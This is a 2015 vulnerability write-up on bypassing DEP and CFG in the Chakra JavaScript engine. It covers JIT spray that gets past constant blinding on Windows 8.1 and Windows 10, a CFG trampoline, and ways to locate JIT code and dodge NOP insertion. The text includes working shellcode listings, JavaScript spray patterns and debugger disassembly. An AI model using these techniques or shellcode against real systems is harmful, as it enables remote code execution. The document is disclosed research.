Bypass DEP and CFG using JIT compiler in Chakra engine
JIT Spray is a popular exploitation technique first appeared in 2010. It embeds shellcode as immediate value into the executable code the JIT compiler generates. Currently, all major JIT engine, including Chakra, already have many mitigations in place against this technique, such as random NOP instruction insertion, constant blinding, etc.
This article points out two weaknesses in Chakra’s JIT Spray mitigation (in Windows 8.1 and older operating systems, and Windows 10, respectively), allowing attackers to use JIT Spray to execute shellcode, bypassing DEP. I will also discuss a method to bypass CFG using Chakra’s JIT compiler.
0x01 Constant Blinding
Constant Blinding is the most important mitigation strategy against JIT Spray. Chakra engine use a randomly generated key to XOR every user inputted immediate value that is not 0x0000 or 0xFFFF, and decrypts it on the fly. For example, the following JavaScript:
...
a ^= 0x90909090;
a ^= 0x90909090;
a ^= 0x90909090;
...
Generates machine code like this:
...
096b0091 ba555593c5 mov edx,0C5935555h
096b0096 81f2c5c50355 xor edx,5503C5C5h
096b009c 33fa xor edi,edx
096b009e bab045edfb mov edx,0FBED45B0h
096b00a3 81f220d57d6b xor edx,6B7DD520h
096b00a9 33fa xor edi,edx
096b00ab baef85f139 mov edx,39F185EFh
096b00b0 81f27f1561a9 xor edx,0A961157Fh
096b00b6 33fa xor edi,edx
...
The immediate value in the resulting machine code is unpredictable, thus shellcode embedding is not possible.
0x02 Bypass Chakra’s Constant Blinding on Windows 8.1 or Older Operating Systems
Internally, for integer n, it is stored as n*2+1 by Chakra engine. When evaluating the expression n=n+m, it is not necessary to restore the original value of n before adding m, its result can be obtained by directly adding m*2 to n*2+1. Chakra engine on Windows 8.1 and older operating systems treat m*2 as self-generated data rather than user input, so constant blinding does not apply. For the following JavaScript code:
...
a += 0x18EB9090/2;
a += 0x18EB9090/2;
...
When some conditions are met, could generate machine code like this:
...
05010090 81c19090eb18 add ecx,18EB9090h
05010096 0f80d6010000 jo 05010272
0501009c 8bf9 mov edi,ecx
0501009e 8b5dbc mov ebx,dword ptr [ebp-44h]
050100a1 f6c301 test bl,1
050100a4 0f8413020000 je 050102bd
050100aa 8bcb mov ecx,ebx
050100ac 81c19090eb18 add ecx,18EB9090h
050100b2 0f8005020000 jo 050102bd
050100b8 8bf9 mov edi,ecx
050100ba 8b5dbc mov ebx,dword ptr [ebp-44h]
050100bd f6c301 test bl,1
050100c0 0f8442020000 je 05010308
050100c6 8bcb mov ecx,ebx
...
0:017> u 05010090 + 2 l 3
05010092 90 nop
05010093 90 nop
05010094 eb18 jmp 050100ae
0:017> u 050100ae l 3
050100ae 90 nop
050100af 90 nop
050100b0 eb18 jmp 050100ca
If we could make each instruction in our shellcode not larger than 2 bytes, it could be embedded in the immediate value. The actual immediate value is 2 times of the value in JavaScript, so the first byte must be an even number if we use a 2-byte instruction, which is not very hard to satisfy.
0x5854 // push esp--pop eax ; eax = esp, make eax writeable
0x5252 // push edx--push edx ; esp -= 8
0x016A // push 1
0x4A5A // pop edx--dec edx ; edx = 0
0x5E52 // push edx--pop esi ; esi = 0
0x40B6 // mov dh, 0x40 ; edx = 0x4000, NumberOfBytesToProtect
0x5452 // push edx--push esp ; *esp = &NumberOfBytesToProtect
0x5B90 // pop ebx ; ebx = &NumberOfBytesToProtect
0x14B6 // mov dh, 0x14
0x14B2 // mov dl, 0x14
0x5266 // push dx
0x5666 // push si ; *esp = 0x14140000
0x525A // pop edx-push edx ; edx = 0x14140000
0x5E54 // push esp--pop esi ; esi = &BaseAddress,
0x5454 // push esp--push esp ; push &OldAccessProtection
0x406A // push 0x40 ; PAGE_EXECUTE_READWRITE
0x5390 // push ebx ; push &NumberOfBytesToProtect
0x5690 // push esi ; push &BaseAddress
0xFF6A // push -1 ;
0x5252 // push edx--push edx ; set ret addr
0x5290 // push edx ; prepare esp for fs:[esi]
0x016A // push 1
0x4A5A // pop edx--dec edx ; edx = 0
0xC0B2 // mov dl, 0xC0
0x5E52 // push edx--pop esi
0x5F54 // push esp--pop edi
0xA564 // movs dword ptr [edi], dword ptr fs:[esi] ; *esp = *(fs:0xC0)
0x4FB2 // mov dl, 0x50 ; NtProtectVirtualMemory, Win8.1:0x4F, Win10:0x50
0x5290 // push edx
0xC358 // pop eax--ret ; ret to syscall
0x03 Bypass Chakra’s Constant Blinding on Windows 10
Chakra engine on Windows 10 does not suffer from this issue. But in order to generate highly optimized code, when writing to an integer array, the following JavaScript code:
var ar = new Uint16Array(0x10000);
ar[0x9090/2] = 0x9090;
ar[0x9090/2] = 0x9090;
ar[0x9090/2] = 0x9090;
ar[0x9090/2] = 0x9090;
...
Generates the following machine code:
...
0b8110e0 66c786909000009090 mov word ptr [esi+9090h],9090h
0b8110e9 66c786909000009090 mov word ptr [esi+9090h],9090h
0b8110f2 66c786909000009090 mov word ptr [esi+9090h],9090h
0b8110fb 66c786909000009090 mov word ptr [esi+9090h],9090h
...
To mitigate against JIT Spray, Chakra only allows user to control at most 2 bytes of immediate value. But in this specific situation, the array index and the value being written appear in one instruction. Now we can control 4 bytes instead of 2 bytes of data.
Previously discussed 2-byte shellcode can also be used here. Due to the additional 2-byte 0x00 (which will be interpreted as “add byte ptr[eax], al”), we need to make the eax point to a writable location in the first two instruction.
0x04 Using Chakra Engine to Bypass CFG
By using previously discussed methods, we can do a JIT Spray to bypass DEP, but the shellcode entry point address embedded in the JIT’d code obviously cannot pass the CFG check. But actually, there are implementation flaws in Chakra engine itself that can be exploited to bypass CFG.
There is a fixed entry point function that always gets generated regardless of the need of JIT of the currently executing JavaScript code:
0:017> uf 4ff0000
04ff0000 55 push ebp
04ff0001 8bec mov ebp,esp
04ff0003 8b4508 mov eax,dword ptr [ebp+8]
04ff0006 8b4014 mov eax,dword ptr [eax+14h]
04ff0009 8b4840 mov ecx,dword ptr [eax+40h]
04ff000c 8d4508 lea eax,[ebp+8]
04ff000f 50 push eax
04ff0010 b840cb5a71 mov eax, 715acb40h ; jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>
04ff0015 ffe1 jmp ecx
This function address can pass the CFG check. Also, before jmp ecx, there is no CFG check of the target address. This can be used as a trampoline for jumping to arbitrary address. We will call it “cfgJumper” hereafter.
0x05 Locating JIT Memory and cfgJumper
Locating the JIT compiled code and the cfgJumper are needed if we want to use JIT Spray to bypass DEP and use cfgJumper to bypass CFG. Interestingly, the method of locating both are almost identical.
Every JavaScript function has a corresponding Js::ScriptFunction object. Every Js::ScriptFunction object also includes a Js::FunctionBody object. Inside this Js::FunctionObject object, a function pointer to the actual function entry point is stored.
If a function is never called, this function pointer points to Js::InterpreterStackFrame::DelayDynamicInterpreterThunk:
0:002> dc 0b89de70 l 8
0b89de70 6ff72808 0b89de40 00000000 00000000 .(.o@........... // Js::ScriptFunction
0b89de80 70523168 0b8d0000 7041f35c 00000000 h1Rp....\.Ap....
0:002> dc 0b8d0000 l 8
0b8d0000 6ff6c970 70181720 00000001 00000000 p..o ..p........ // Js::FunctionBody
0b8d0010 0b8d0000 000001b8 072cc7e0 0b418ea0 ..........,...A.
0:002> u 70181720 l 1
Chakra!Js::InterpreterStackFrame::DelayDynamicInterpreterThunk:
70181720 55 push ebp
If a function has been called before, but never compiled into JIT’d code, this function pointer points to cfgJumper:
0:002> dc 0b89de70 l 8
0b89de70 6ff72808 0b89de40 00000000 00000000 .(.o@...........
0b89de80 70523168 0b8d0000 7041f35c 00000000 h1Rp....\.Ap....
0:002> dc 0b8d0000 l 8
0b8d0000 6ff6c970 00860000 00000001 00000000 p..o............
0b8d0010 0b8d0000 000001b8 072cc7e0 0b418ea0 ..........,...A.
0:002> u 00860000
00860000 55 push ebp
00860001 8bec mov ebp,esp
00860003 8b4508 mov eax,dword ptr [ebp+8]
00860006 8b4014 mov eax,dword ptr [eax+14h]
00860009 8b4840 mov ecx,dword ptr [eax+40h]
0086000c 8d4508 lea eax,[ebp+8]
0086000f 50 push eax
00860010 b800240870 mov 70082400h ; Chakra!Js::InterpreterStackFrame::InterpreterThunk
00860015 ffe1 jmp ecx
If a function is regularly called and Chakra compiles it into JIT’d code, this function pointer points to the actual code:
0:002> d 0b89de70 l8
0b89de70 6ff72808 0b89de40 00000000 00000000 .(.o@...........
0b89de80 70523168 0b8d0000 7041f35c 00000000 h1Rp....\.Ap....
0:002> d 0b8d0000 l8
0b8d0000 6ff6c970 00950000 00000001 00000000 p..o............
0b8d0010 0b8d0000 000001b8 072cc7e0 0b418ea0 ..........,...A.
0:002> u 00950000
00950000 55 push ebp
00950001 8bec mov ebp,esp
00950003 81fc44c9120b cmp esp,0B12C944h
00950009 7f18 jg 00950023
0095000b 6a00 push 0
0095000d 6a00 push 0
0095000f 68e0c72c07 push 72CC7E0h
00950014 6844090000 push 944h
With understandings of the internal structure of Js::ScriptFunction and Js::FunctionBody, we could precisely locate the JIT’d code and the cfgJumper.
0x06 Avoiding Randomly Inserted NOP instructions
Other than constant blinding, Chakra engine also employs randomized NOP instruction insertion to mitigate JIT Spray. But the density of the insertion is rather low. Testing code combines 29 16-bit number to form a shellcode, only 29 x86 instructions are generated on Windows 10, with virtually no NOP instruction inserted in between. But in the exploitation method used on Windows 8.1 and older operating systems, about 200 x86 instruction are generated, and highly likely to contain NOP instructions.
To solve this problem:
- Create a new script tag, put in a JavaScript function that contains JIT shellcode.
- Call this function in a loop to trigger JIT compilation.
- Read in compiled code to determine if there is any NOP instruction inserted.
- If any, destroy the script tag and repeat this procedure.
Testing environments are Windows 8.1 with all updates till May 2015 and Windows 10 TP 9926.
Microsoft informed me that it has been fixed in September 2015.